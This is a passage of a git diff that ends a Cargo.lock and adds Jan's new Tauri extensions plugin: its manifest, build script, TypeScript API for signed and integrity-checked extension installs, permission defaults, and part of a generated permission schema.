"registry+https://github.com/rust-lang/crates.io-index"+checksum = "fc6a41e98427b19fe4b73c550f060b59fa592d7d686537eebf9385621bfbad8e"+dependencies = [+ "windows-core 0.61.2",+ "windows-link 0.1.3",+ "windows-threading",+]++[[package]]+name = "windows-implement"+version = "0.60.2"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "053e2e040ab57b9dc951b72c264860db7eb3b0200ba345b4e4c3b14f67855ddf"+dependencies = [+ "proc-macro2",+ "quote",+ "syn 2.0.118",+]++[[package]]+name = "windows-interface"+version = "0.59.3"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "3f316c4a2570ba26bbec722032c4099d8c8bc095efccdc15688708623367e358"+dependencies = [+ "proc-macro2",+ "quote",+ "syn 2.0.118",+]++[[package]]+name = "windows-link"+version = "0.1.3"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "5e6ad25900d524eaabdbbb96d20b4311e1e7ae1699af4fb28c17ae66c80d798a"++[[package]]+name = "windows-link"+version = "0.2.1"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "f0805222e57f7521d6a62e36fa9163bc891acd422f971defe97d64e70d0a4fe5"++[[package]]+name = "windows-numerics"+version = "0.2.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "9150af68066c4c5c07ddc0ce30421554771e528bde427614c61038bc2c92c2b1"+dependencies = [+ "windows-core 0.61.2",+ "windows-link 0.1.3",+]++[[package]]+name = "windows-result"+version = "0.3.4"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "56f42bd332cc6c8eac5af113fc0c1fd6a8fd2aa08a0119358686e5160d0586c6"+dependencies = [+ "windows-link 0.1.3",+]++[[package]]+name = "windows-result"+version = "0.4.1"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "7781fa89eaf60850ac3d2da7af8e5242a5ea78d1a11c49bf2910bb5a73853eb5"+dependencies = [+ "windows-link 0.2.1",+]++[[package]]+name = "windows-strings"+version = "0.4.2"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "56e6c93f3a0c3b36176cb1327a4958a0353d5d166c2a35cb268ace15e91d3b57"+dependencies = [+ "windows-link 0.1.3",+]++[[package]]+name = "windows-strings"+version = "0.5.1"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "7837d08f69c77cf6b07689544538e017c1bfcf57e34b4c0ff58e6c2cd3b37091"+dependencies = [+ "windows-link 0.2.1",+]++[[package]]+name = "windows-sys"+version = "0.45.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "75283be5efb2831d37ea142365f009c02ec203cd29a3ebecbc093d52315b66d0"+dependencies = [+ "windows-targets 0.42.2",+]++[[package]]+name = "windows-sys"+version = "0.52.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d"+dependencies = [+ "windows-targets 0.52.6",+]++[[package]]+name = "windows-sys"+version = "0.59.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "1e38bc4d79ed67fd075bcc251a1c39b32a1776bbe92e5bef1f0bf1f8c531853b"+dependencies = [+ "windows-targets 0.52.6",+]++[[package]]+name = "windows-sys"+version = "0.61.2"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "ae137229bcbd6cdf0f7b80a31df61766145077ddf49416a728b02cb3921ff3fc"+dependencies = [+ "windows-link 0.2.1",+]++[[package]]+name = "windows-targets"+version = "0.42.2"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "8e5180c00cd44c9b1c88adb3693291f1cd93605ded80c250a75d472756b4d071"+dependencies = [+ "windows_aarch64_gnullvm 0.42.2",+ "windows_aarch64_msvc 0.42.2",+ "windows_i686_gnu 0.42.2",+ "windows_i686_msvc 0.42.2",+ "windows_x86_64_gnu 0.42.2",+ "windows_x86_64_gnullvm 0.42.2",+ "windows_x86_64_msvc 0.42.2",+]++[[package]]+name = "windows-targets"+version = "0.52.6"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "9b724f72796e036ab90c1021d4780d4d3d648aca59e491e6b98e725b84e99973"+dependencies = [+ "windows_aarch64_gnullvm 0.52.6",+ "windows_aarch64_msvc 0.52.6",+ "windows_i686_gnu 0.52.6",+ "windows_i686_gnullvm",+ "windows_i686_msvc 0.52.6",+ "windows_x86_64_gnu 0.52.6",+ "windows_x86_64_gnullvm 0.52.6",+ "windows_x86_64_msvc 0.52.6",+]++[[package]]+name = "windows-threading"+version = "0.1.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "b66463ad2e0ea3bbf808b7f1d371311c80e115c0b71d60efc142cafbcfb057a6"+dependencies = [+ "windows-link 0.1.3",+]++[[package]]+name = "windows-version"+version = "0.1.7"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "e4060a1da109b9d0326b7262c8e12c84df67cc0dbc9e33cf49e01ccc2eb63631"+dependencies = [+ "windows-link 0.2.1",+]++[[package]]+name = "windows_aarch64_gnullvm"+version = "0.42.2"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "597a5118570b68bc08d8d59125332c54f1ba9d9adeedeef5b99b02ba2b0698f8"++[[package]]+name = "windows_aarch64_gnullvm"+version = "0.52.6"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "32a4622180e7a0ec044bb555404c800bc9fd9ec262ec147edd5989ccd0c02cd3"++[[package]]+name = "windows_aarch64_msvc"+version = "0.42.2"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "e08e8864a60f06ef0d0ff4ba04124db8b0fb3be5776a5cd47641e942e58c4d43"++[[package]]+name = "windows_aarch64_msvc"+version = "0.52.6"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "09ec2a7bb152e2252b53fa7803150007879548bc709c039df7627cabbd05d469"++[[package]]+name = "windows_i686_gnu"+version = "0.42.2"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "c61d927d8da41da96a81f029489353e68739737d3beca43145c8afec9a31a84f"++[[package]]+name = "windows_i686_gnu"+version = "0.52.6"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "8e9b5ad5ab802e97eb8e295ac6720e509ee4c243f69d781394014ebfe8bbfa0b"++[[package]]+name = "windows_i686_gnullvm"+version = "0.52.6"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "0eee52d38c090b3caa76c563b86c3a4bd71ef1a819287c19d586d7334ae8ed66"++[[package]]+name = "windows_i686_msvc"+version = "0.42.2"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "44d840b6ec649f480a41c8d80f9c65108b92d89345dd94027bfe06ac444d1060"++[[package]]+name = "windows_i686_msvc"+version = "0.52.6"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "240948bc05c5e7c6dabba28bf89d89ffce3e303022809e73deaefe4f6ec56c66"++[[package]]+name = "windows_x86_64_gnu"+version = "0.42.2"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "8de912b8b8feb55c064867cf047dda097f92d51efad5b491dfb98f6bbb70cb36"++[[package]]+name = "windows_x86_64_gnu"+version = "0.52.6"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "147a5c80aabfbf0c7d901cb5895d1de30ef2907eb21fbbab29ca94c5b08b1a78"++[[package]]+name = "windows_x86_64_gnullvm"+version = "0.42.2"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "26d41b46a36d453748aedef1486d5c7a85db22e56aff34643984ea85514e94a3"++[[package]]+name = "windows_x86_64_gnullvm"+version = "0.52.6"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "24d5b23dc417412679681396f2b49f3de8c1473deb516bd34410872eff51ed0d"++[[package]]+name = "windows_x86_64_msvc"+version = "0.42.2"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "9aec5da331524158c6d1a4ac0ab1541149c0b9505fde06423b02f5ef0106b9f0"++[[package]]+name = "windows_x86_64_msvc"+version = "0.52.6"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "589f6da84c646204747d1270a2a5661ea66ed1cced2631d546fdfb155959f9ec"++[[package]]+name = "winnow"+version = "0.5.40"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "f593a95398737aeed53e489c785df13f3618e41dbcd6718c6addbf1395aa6876"+dependencies = [+ "memchr",+]++[[package]]+name = "winnow"+version = "0.7.15"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "df79d97927682d2fd8adb29682d1140b343be4ac0f08fd68b7765d9c059d3945"++[[package]]+name = "winnow"+version = "1.0.4"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "23b97319f7b8343df12cc98938e5c3eb436064524c8d2b4e30a1d3a36eecdf81"++[[package]]+name = "winreg"+version = "0.55.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "cb5a765337c50e9ec252c2069be9bf91c7df47afb103b642ba3a53bf8101be97"+dependencies = [+ "cfg-if",+ "windows-sys 0.59.0",+]++[[package]]+name = "wit-bindgen"+version = "0.57.1"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "1ebf944e87a7c253233ad6766e082e3cd714b5d03812acc24c318f549614536e"++[[package]]+name = "writeable"+version = "0.6.3"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "1ffae5123b2d3fc086436f8834ae3ab053a283cfac8fe0a0b8eaae044768a4c4"++[[package]]+name = "xattr"+version = "1.6.1"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "32e45ad4206f6d2479085147f02bc2ef834ac85886624a23575ae137c8aa8156"+dependencies = [+ "libc",+ "rustix",+]++[[package]]+name = "yoke"+version = "0.8.3"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "709fe23a0424b6a435d82152b1bd3fdfb0833487d5fa90d05d42762a9891fef5"+dependencies = [+ "stable_deref_trait",+ "yoke-derive",+ "zerofrom",+]++[[package]]+name = "yoke-derive"+version = "0.8.2"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "de844c262c8848816172cef550288e7dc6c7b7814b4ee56b3e1553f275f1858e"+dependencies = [+ "proc-macro2",+ "quote",+ "syn 2.0.118",+ "synstructure",+]++[[package]]+name = "zerofrom"+version = "0.1.8"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "0ec05a11813ea801ff6d75110ad09cd0824ddba17dfe17128ea0d5f68e6c5272"+dependencies = [+ "zerofrom-derive",+]++[[package]]+name = "zerofrom-derive"+version = "0.1.7"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "11532158c46691caf0f2593ea8358fed6bbf68a0315e80aae9bd41fbade684a1"+dependencies = [+ "proc-macro2",+ "quote",+ "syn 2.0.118",+ "synstructure",+]++[[package]]+name = "zeroize"+version = "1.9.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "e13c156562582aa81c60cb29407084cdb54c4164760106ab78e6c5b0858cf64e"++[[package]]+name = "zerotrie"+version = "0.2.4"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "0f9152d31db0792fa83f70fb2f83148effb5c1f5b8c7686c3459e361d9bc20bf"+dependencies = [+ "displaydoc",+ "yoke",+ "zerofrom",+]++[[package]]+name = "zerovec"+version = "0.11.6"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "90f911cbc359ab6af17377d242225f4d75119aec87ea711a880987b18cd7b239"+dependencies = [+ "yoke",+ "zerofrom",+ "zerovec-derive",+]++[[package]]+name = "zerovec-derive"+version = "0.11.3"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "625dc425cab0dca6dc3c3319506e6593dcb08a9f387ea3b284dbd52a92c40555"+dependencies = [+ "proc-macro2",+ "quote",+ "syn 2.0.118",+]++[[package]]+name = "zmij"+version = "1.0.23"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "29666d0abbfad1e3dc4dcf6144730dd3a3ab225bbbdac83319345b1b44ccfc1b"diff --git a/src-tauri/plugins/tauri-plugin-extensions/Cargo.toml b/src-tauri/plugins/tauri-plugin-extensions/Cargo.tomlnew file mode 100644index 000000000..eb74c21fc--- /dev/null+++ b/src-tauri/plugins/tauri-plugin-extensions/Cargo.toml@@ -0,0 +1,40 @@+[package]+name = "tauri-plugin-extensions"+version = "0.8.3"+authors = ["Jan <[email protected]>"]+description = "Tauri plugin that installs, verifies and serves runtime Jan extensions"+license = "Apache-2.0"+repository = "https://github.com/janhq/jan"+edition = "2021"+rust-version = "1.77.2"+exclude = ["/examples", "/dist-js", "/guest-js", "/node_modules"]+links = "tauri-plugin-extensions"++[features]+default = ["tauri"]+# The Tauri command/plugin surface. The pure modules (bundle, integrity,+# manifest, registry, index, sources) need no AppHandle and build without it.+tauri = ["dep:tauri"]++[dependencies]+base64 = "0.22"+ed25519-dalek = { version = "2.2", default-features = false, features = ["std"] }+flate2 = "1"+log = "0.4"+reqwest = { version = "0.12", default-features = false, features = ["rustls-tls"] }+semver = "1"+serde = { version = "1.0", features = ["derive"] }+serde_json = "1.0"+sha2 = "0.10"+tar = "0.4"+tauri = { version = "2.5.0", default-features = false, features = [], optional = true }+thiserror = "2.0.12"+tokio = { version = "1", features = ["rt", "macros", "sync", "time"] }+url = "2.5"++[dev-dependencies]+tempfile = "3"+tokio = { version = "1", features = ["rt", "macros", "net", "io-util", "sync", "time"] }++[build-dependencies]+tauri-plugin = { version = "2.3.1", features = ["build"] }diff --git a/src-tauri/plugins/tauri-plugin-extensions/build.rs b/src-tauri/plugins/tauri-plugin-extensions/build.rsnew file mode 100644index 000000000..f809ee427--- /dev/null+++ b/src-tauri/plugins/tauri-plugin-extensions/build.rs@@ -0,0 +1,25 @@+const COMMANDS: &[&str] = &[+ "stage_bundle",+ "confirm_install",+ "discard_stage",+ "list",+ "set_enabled",+ "set_grants",+ "uninstall",+ "rollback",+ "read_entry",+ "set_safe_mode",+ "http_fetch",+ "http_fetch_stream",+ "http_cancel",+ "list_sources",+ "add_source",+ "remove_source",+ "get_catalog",+ "accept_next_key",+ "stage_from_index",+];++fn main() {+ tauri_plugin::Builder::new(COMMANDS).build();+}diff --git a/src-tauri/plugins/tauri-plugin-extensions/guest-js/index.ts b/src-tauri/plugins/tauri-plugin-extensions/guest-js/index.tsnew file mode 100644index 000000000..7066299bc--- /dev/null+++ b/src-tauri/plugins/tauri-plugin-extensions/guest-js/index.ts@@ -0,0 +1,377 @@+import { invoke, Channel } from '@tauri-apps/api/core'++/** Where an installed version came from (`extensions.json` `source`). */+export type ExtensionSource =+ | { kind: 'bundle'; fileName: string; sha512: string }+ | {+ kind: 'index'+ sourceId: string+ sourceName: string+ url: string+ tarball: string+ integrity: string+ }++/** What an update changes in the permissions the user is asked about. */+export interface PermissionDiff {+ /** Requested and not granted now: needs consent. */+ added: string[]+ /** Requested by the installed version and no longer by the new one. */+ removed: string[]+}++/** A package extracted to staging and awaiting `confirmInstall`. */+export interface StagedInstall {+ stageId: string+ /** The package.json of the package. */+ manifest: Record<string, unknown>+ /** SRI of the tarball. */+ sha512: string+ /**+ * From a source with a pinned key whose index signature verified (and+ * integrity checked). Never true for a file or an unsigned source.+ */+ verified: boolean+ /** The tarball matched an SRI pinned by an index source. */+ integrityChecked: boolean+ source: ExtensionSource+ /** The installed version this would update. */+ existing: {+ version: string+ granted: string[]+ /** Where the active version came from. */+ source: ExtensionSource+ /** The active version came from a keyed source whose signature verified. */+ verified: boolean+ } | null+ permissionDiff: PermissionDiff+}++/** One installed extension. */+export interface InstalledExtension {+ id: string+ version: string+ previous: string | null+ enabled: boolean+ granted: string[]+ /** What the active version requests. */+ permissions: string[]+ source: ExtensionSource+ /** The active version came from a keyed source whose signature verified. */+ verified: boolean+ /** The tarball matched an SRI pinned by an index source. */+ integrityChecked: boolean+ installedAt: string+ /** The active version's package.json, or null if unreadable. */+ manifest: Record<string, unknown> | null+}++export interface ListResult {+ safeMode: boolean+ /** Forced by JAN_EXTENSIONS_SAFE_MODE=1; the UI cannot turn it off. */+ safeModeForced: boolean+ /** Set when an unreadable extensions.json was moved aside at startup. */+ recoveredFrom: string | null+ extensions: InstalledExtension[]+}++/** The entry bundle of an enabled extension, checked against its hash. */+export interface EntrySource {+ code: string+ sha512: string+}++export type HttpMethod = 'GET' | 'POST' | 'PUT' | 'PATCH' | 'DELETE' | 'HEAD'++export interface HttpRequest {+ url: string+ method?: HttpMethod+ headers?: Record<string, string>+ body?: string+}++/**+ * A whole response. Redirects are not followed: a 3xx comes back with its+ * `location` header for the caller to check against the grants.+ */+export interface HttpResponse {+ status: number+ /** Lowercase names; cookie headers removed. */+ headers: Record<string, string>+ body: string+}++/** Events of `httpFetchStream`: `head`, any `chunk`s, then `end` or `error`. */+export type HttpStreamEvent =+ | { event: 'head'; status: number; headers: Record<string, string> }+ | { event: 'chunk'; data: string }+ | { event: 'end' }+ | { event: 'error'; kind: ExtensionsErrorKind; message: string }++/** `kind` of a rejected command (`{ kind, message }`). */+export type ExtensionsErrorKind =+ | 'bundle'+ | 'integrity'+ | 'signature'+ | 'manifest'+ | 'io'+ | 'notFound'+ | 'denied'+ | 'invalid'+ | 'tampered'+ | 'network'+ | 'tooLarge'+ | 'cancelled'++/** The value a command rejects with. */+export interface ExtensionsError {+ kind: ExtensionsErrorKind+ message: string+}++/** Extracts and validates a local `.tgz` into staging (unverified). */+export async function stageBundle(path: string): Promise<StagedInstall> {+ return await invoke('plugin:extensions|stage_bundle', { path })+}++/** Installs a stage; `granted` must cover every requested permission. */+export async function confirmInstall(+ stageId: string,+ granted: string[]+): Promise<InstalledExtension> {+ return await invoke('plugin:extensions|confirm_install', { stageId, granted })+}++export async function discardStage(stageId: string): Promise<void> {+ await invoke('plugin:extensions|discard_stage', { stageId })+}++export async function list(): Promise<ListResult> {+ return await invoke('plugin:extensions|list')+}++export async function setEnabled(id: string, enabled: boolean): Promise<void> {+ await invoke('plugin:extensions|set_enabled', { id, enabled })+}++/** Replaces the grants of `id`; may only remove. */+export async function setGrants(id: string, granted: string[]): Promise<void> {+ await invoke('plugin:extensions|set_grants', { id, granted })+}++export async function uninstall(id: string): Promise<void> {+ await invoke('plugin:extensions|uninstall', { id })+}++/** Swaps the active and previous versions. */+export async function rollback(id: string): Promise<InstalledExtension> {+ return await invoke('plugin:extensions|rollback', { id })+}++/** The entry bundle, only when enabled, not in safe mode and unmodified. */+export async function readEntry(id: string): Promise<EntrySource> {+ return await invoke('plugin:extensions|read_entry', { id })+}++export async function setSafeMode(on: boolean): Promise<void> {+ await invoke('plugin:extensions|set_safe_mode', { on })+}++/**+ * Fetches for extension `id`, re-checking its network grant. The body is+ * capped at 1 MiB. Pass `requestId` to be able to `httpCancel` it.+ */+export async function httpFetch(+ id: string,+ req: HttpRequest,+ requestId?: string+): Promise<HttpResponse> {+ return await invoke('plugin:extensions|http_fetch', { id, req, requestId })+}++/**+ * Streams a response for extension `id` (provider inference). Resolves+ * with the status once the stream is done; errors before the head reject,+ * errors after it arrive as an `error` event.+ */+export async function httpFetchStream(+ id: string,+ requestId: string,+ req: HttpRequest,+ onEvent: (event: HttpStreamEvent) => void+): Promise<number> {+ const channel = new Channel<HttpStreamEvent>()+ channel.onmessage = onEvent+ return await invoke('plugin:extensions|http_fetch_stream', {+ id,+ requestId,+ req,+ onEvent: channel,+ })+}++/** Cancels a running `httpFetch` or `httpFetchStream`. */+export async function httpCancel(id: string, requestId: string): Promise<void> {+ await invoke('plugin:extensions|http_cancel', { id, requestId })+}++/** An index source the user added (`sources.json`). */+export interface IndexSourceEntry {+ id: string+ name: string+ /** https URL of the index JSON. */+ url: string+ /**+ * Base64 ed25519 public key, pinned when the source was added. When set,+ * every index from the source must be signed by it; without it the+ * source is unsigned.+ */+ publicKey?: string+ addedAt: string+ /**+ * The `generatedAt` of the newest signed index accepted from this keyed+ * source; an older signed index is refused as a replay (`signature`).+ */+ lastGeneratedAt?: string+}++/** The key a keyed source had when the user removed it. */+export interface RemovedPin {+ url: string+ publicKey: string+ removedAt: string+}++/** A `sources.json` entry dropped on load because it failed the checks. */+export interface DroppedSource {+ name: string | null+ url: string | null+ reason: string+}++/** What a repair of `sources.json` dropped; the old file is at `movedTo`. */+export interface SourcesNotice {+ movedTo: string+ /** Empty when the file was unreadable and every source was lost. */+ dropped: DroppedSource[]+}++/** The index sources, with the remembered pins and any repair notice. */+export interface SourceList {+ sources: IndexSourceEntry[]+ /** Keys of removed keyed sources, to warn when one is re-added unkeyed. */+ removedPins: RemovedPin[]+ notice: SourcesNotice | null+}++/** One version of an indexed extension. */+export interface IndexVersion {+ version: string+ /** https URL of the tarball. */+ tarball: string+ /** `sha512-<base64>` of the tarball. */+ integrity: string+ apiVersion: string+ engines?: { jan: string }+ /** Exactly the permissions the package's manifest requests. */+ permissions: string[]+ /**+ * An https link to a provenance attestation, as reported by the source.+ * Jan only shows it; it does not verify it.+ */+ provenance?: string+}++export interface IndexExtension {+ id: string+ displayName: string+ publisher: string+ description?: string+ homepage?: string+ versions: IndexVersion[]+}++/**+ * An index document, schema 1. A keyed source signs its exact bytes in a+ * detached `<index url>.sig` (base64 of the 64-byte ed25519 signature).+ */+export interface CuratedIndex {+ schema: 1+ /**+ * RFC 3339 for a keyed source: a signed index older than one already+ * accepted from the source is refused.+ */+ generatedAt: string+ /** RFC 3339; a keyed source's index is refused after it. */+ expires?: string+ /** The base64 ed25519 key the maintainer will sign with next. */+ nextPublicKey?: string+ extensions: IndexExtension[]+}++/** A source's index as the catalog shows it. */+export interface Catalog {+ index: CuratedIndex+ /** The source has a pinned key and the index signature verified. */+ signed: boolean+ /**+ * A key rotation to offer: the signed index's `nextPublicKey` when it+ * differs from the pinned key. Never set for an unsigned source.+ */+ nextPublicKey: string | null+}++export async function listSources(): Promise<SourceList> {+ return await invoke('plugin:extensions|list_sources')+}++/** Adds an https index source; `publicKey` is pinned if given. */+export async function addSource(+ url: string,+ name: string,+ publicKey?: string+): Promise<IndexSourceEntry> {+ return await invoke('plugin:extensions|add_source', { url, name, publicKey })+}++export async function removeSource(id: string): Promise<void> {+ await invoke('plugin:extensions|remove_source', { id })+}++/**+ * Fetches the index of a source (https, 2 MiB, 15 s, no redirects). For a+ * keyed source the `.sig` must verify and the index must not be older than+ * one accepted before nor past its `expires`, or this rejects with+ * `signature`.+ */+export async function getCatalog(sourceId: string): Promise<Catalog> {+ return await invoke('plugin:extensions|get_catalog', { sourceId })+}++/**+ * Re-pins a source's key to the `nextPublicKey` its signed index offers.+ * Call only after the user confirmed; the index is fetched and verified+ * again and must still offer exactly this key.+ */+export async function acceptNextKey(+ sourceId: string,+ nextPublicKey: string+): Promise<IndexSourceEntry> {+ return await invoke('plugin:extensions|accept_next_key', {+ sourceId,+ nextPublicKey,+ })+}++/**+ * Downloads `id@version` as listed by a source, checks the pinned sha512 and+ * that the package matches the listing, and stages it (integrityChecked;+ * verified when the source is keyed and its index signature verified).+ */+export async function stageFromIndex(+ sourceId: string,+ id: string,+ version: string+): Promise<StagedInstall> {+ return await invoke('plugin:extensions|stage_from_index', { sourceId, id, version })+}diff --git a/src-tauri/plugins/tauri-plugin-extensions/package.json b/src-tauri/plugins/tauri-plugin-extensions/package.jsonnew file mode 100644index 000000000..414c2e7a2--- /dev/null+++ b/src-tauri/plugins/tauri-plugin-extensions/package.json@@ -0,0 +1,33 @@+{+ "name": "@janhq/tauri-plugin-extensions-api",+ "version": "0.8.3",+ "private": true,+ "description": "Tauri plugin API for installing and running Jan runtime extensions",+ "type": "module",+ "types": "./dist-js/index.d.ts",+ "main": "./dist-js/index.cjs",+ "module": "./dist-js/index.js",+ "exports": {+ "types": "./dist-js/index.d.ts",+ "import": "./dist-js/index.js",+ "require": "./dist-js/index.cjs"+ },+ "files": [+ "dist-js",+ "README.md"+ ],+ "scripts": {+ "build": "rollup -c",+ "prepublishOnly": "yarn build",+ "pretest": "yarn build"+ },+ "dependencies": {+ "@tauri-apps/api": ">=2.0.0-beta.6"+ },+ "devDependencies": {+ "@rollup/plugin-typescript": "^12.0.0",+ "rollup": "^4.9.6",+ "tslib": "^2.6.2",+ "typescript": "^5.3.3"+ }+}diff --git a/src-tauri/plugins/tauri-plugin-extensions/permissions/default.toml b/src-tauri/plugins/tauri-plugin-extensions/permissions/default.tomlnew file mode 100644index 000000000..5c9edf1d1--- /dev/null+++ b/src-tauri/plugins/tauri-plugin-extensions/permissions/default.toml@@ -0,0 +1,23 @@+[default]+description = "Default permissions for the extensions plugin: every command, for the main window only (see capabilities/extensions.json)"+permissions = [+ "allow-stage-bundle",+ "allow-confirm-install",+ "allow-discard-stage",+ "allow-list",+ "allow-set-enabled",+ "allow-set-grants",+ "allow-uninstall",+ "allow-rollback",+ "allow-read-entry",+ "allow-set-safe-mode",+ "allow-http-fetch",+ "allow-http-fetch-stream",+ "allow-http-cancel",+ "allow-list-sources",+ "allow-add-source",+ "allow-remove-source",+ "allow-get-catalog",+ "allow-accept-next-key",+ "allow-stage-from-index",+]diff --git a/src-tauri/plugins/tauri-plugin-extensions/permissions/schemas/schema.json b/src-tauri/plugins/tauri-plugin-extensions/permissions/schemas/schema.jsonnew file mode 100644index 000000000..947246b74--- /dev/null+++ b/src-tauri/plugins/tauri-plugin-extensions/permissions/schemas/schema.json@@ -0,0 +1,534 @@+{+ "$schema": "http://json-schema.org/draft-07/schema#",+ "title": "PermissionFile",+ "description": "Permission file that can define a default permission, a set of permissions or a list of inlined permissions.",+ "type": "object",+ "properties": {+ "default": {+ "description": "The default permission set for the plugin",+ "anyOf": [+ {+ "$ref": "#/definitions/DefaultPermission"+ },+ {+ "type": "null"+ }+ ]+ },+ "set": {+ "description": "A list of permissions sets defined",+ "type": "array",+ "items": {+ "$ref": "#/definitions/PermissionSet"+ }+ },+ "permission": {+ "description": "A list of inlined permissions",+ "default": [],+ "type": "array",+ "items": {+ "$ref": "#/definitions/Permission"+ }+ }+ },+ "definitions": {+ "DefaultPermission": {+ "description": "The default permission set of the plugin.\n\nWorks similarly to a permission with the \"default\" identifier.",+ "type": "object",+ "required": [+ "permissions"+ ],+ "properties": {+ "version": {+ "description": "The version of the permission.",+ "type": [+ "integer",+ "null"+ ],+ "format": "uint64",+ "minimum": 1.0+ },+ "description": {+ "description": "Human-readable description of what the permission does. Tauri convention is to use `<h4>` headings in markdown content for Tauri documentation generation purposes.",+ "type": [+ "string",+ "null"+ ]+ },+ "permissions": {+ "description": "All permissions this set contains.",+ "type": "array",+ "items": {+ "type": "string"+ }+ }+ }+ },+ "PermissionSet": {+ "description": "A set of direct permissions grouped together under a new name.",+ "type": "object",+ "required": [+ "description",+ "identifier",+ "permissions"+ ],+ "properties": {+ "identifier": {+ "description": "A unique identifier for the permission.",+ "type": "string"+ },+ "description": {+ "description": "Human-readable description of what the permission does.",+ "type": "string"+ },+ "permissions": {+ "description": "All permissions this set contains.",+ "type": "array",+ "items": {+ "$ref": "#/definitions/PermissionKind"+ }+ }+ }+ },+ "Permission": {+ "description": "Descriptions of explicit privileges of commands.\n\nIt can enable commands to be accessible in the frontend of the application.\n\nIf the scope is defined it can be used to fine grain control the access of individual or multiple commands.",+ "type": "object",+ "required": [+ "identifier"+ ],+ "properties": {+ "version": {+ "description": "The version of the permission.",+ "type": [+ "integer",+ "null"+ ],+ "format": "uint64",+ "minimum": 1.0+ },+ "identifier": {+ "description": "A unique identifier for the permission.",+ "type": "string"+ },+ "description": {+ "description": "Human-readable description of what the permission does. Tauri internal convention is to use `<h4>` headings in markdown content for Tauri documentation generation purposes.",+ "type": [+ "string",+ "null"+ ]+ },+ "commands": {+ "description": "Allowed or denied commands when using this permission.",+ "default": {+ "allow": [],+ "deny": []+ },+ "allOf": [+ {+ "$ref": "#/definitions/Commands"+ }+ ]+ },+ "scope": {+ "description": "Allowed or denied scoped when using this permission.",+ "allOf": [+ {+ "$ref": "#/definitions/Scopes"+ }+ ]+ },+ "platforms": {+ "description": "Target platforms this permission applies. By default all platforms are affected by this permission.",+ "type": [+ "array",+ "null"+ ],+ "items": {+ "$ref": "#/definitions/Target"+ }+ }+ }+ },+ "Commands": {+ "description": "Allowed and denied commands inside a permission.\n\nIf two commands clash inside of `allow` and `deny`, it should be denied by default.",+ "type": "object",+ "properties": {+ "allow": {+ "description": "Allowed command.",+ "default": [],+ "type": "array",+ "items": {+ "type": "string"+ }+ },+ "deny": {+ "description": "Denied command, which takes priority.",+ "default": [],+ "type": "array",+ "items": {+ "type": "string"+ }+ }+ }+ },+ "Scopes": {+ "description": "An argument for fine grained behavior control of Tauri commands.\n\nIt can be of any serde serializable type and is used to allow or prevent certain actions inside a Tauri command. The configured scope is passed to the command and will be enforced by the command implementation.\n\n## Example\n\n```json { \"allow\": [{ \"path\": \"$HOME/**\" }], \"deny\": [{ \"path\": \"$HOME/secret.txt\" }] } ```",+ "type": "object",+ "properties": {+ "allow": {+ "description": "Data that defines what is allowed by the scope.",+ "type": [+ "array",+ "null"+ ],+ "items": {+ "$ref": "#/definitions/Value"+ }+ },+ "deny": {+ "description": "Data that defines what is denied by the scope. This should be prioritized by validation logic.",+ "type": [+ "array",+ "null"+ ],+ "items": {+ "$ref": "#/definitions/Value"+ }+ }+ }+ },+ "Value": {+ "description": "All supported ACL values.",+ "anyOf": [+ {+ "description": "Represents a null JSON value.",+ "type": "null"+ },+ {+ "description": "Represents a [`bool`].",+ "type": "boolean"+ },+ {+ "description": "Represents a valid ACL [`Number`].",+ "allOf": [+ {+ "$ref": "#/definitions/Number"+ }+ ]+ },+ {+ "description": "Represents a [`String`].",+ "type": "string"+ },+ {+ "description": "Represents a list of other [`Value`]s.",+ "type": "array",+ "items": {+ "$ref": "#/definitions/Value"+ }+ },+ {+ "description": "Represents a map of [`String`] keys to [`Value`]s.",+ "type": "object",+ 